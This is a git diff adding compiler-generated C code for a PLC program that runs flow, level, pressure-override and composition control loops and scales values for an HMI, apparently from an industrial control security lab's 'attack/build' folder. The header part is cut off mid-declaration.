(REAL)__GET_VAR(data__->SUB59_OUT,), + (REAL)__GET_VAR(data__->FLOW_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,CURR_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,ADD58_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT40_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD58_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT40_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // FLOW_CONTROL_body__() + + + + + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->LIQUID_LEVEL,0,retain) + __INIT_VAR(data__->LEVEL_SP,30000,retain) + __INIT_VAR(data__->CURR_POS,0,retain) + __INIT_VAR(data__->NEW_POS,0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->LEVEL_K,10.0,retain) + __INIT_VAR(data__->LEVEL_TI,99999.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->LEVEL_MAX,100.0,retain) + __INIT_VAR(data__->LEVEL_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->LEVEL_REAL,44.18,retain) + __INIT_VAR(data__->POS_REAL,47.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->SP_REAL,44.18,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB32_OUT,0,retain) + __INIT_VAR(data__->MUL33_OUT,0,retain) + __INIT_VAR(data__->SUB30_OUT,0,retain) + __INIT_VAR(data__->LIMIT25_OUT,0,retain) +} + +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->LIQUID_LEVEL,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,LEVEL_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->LEVEL_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->LEVEL_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB32_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->SP_REAL,), + (REAL)__GET_VAR(data__->LEVEL_REAL,))); + __SET_VAR(data__->,MUL33_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB32_OUT,), + (REAL)__GET_VAR(data__->LEVEL_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL33_OUT,)); + __SET_VAR(data__->,SUB30_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + 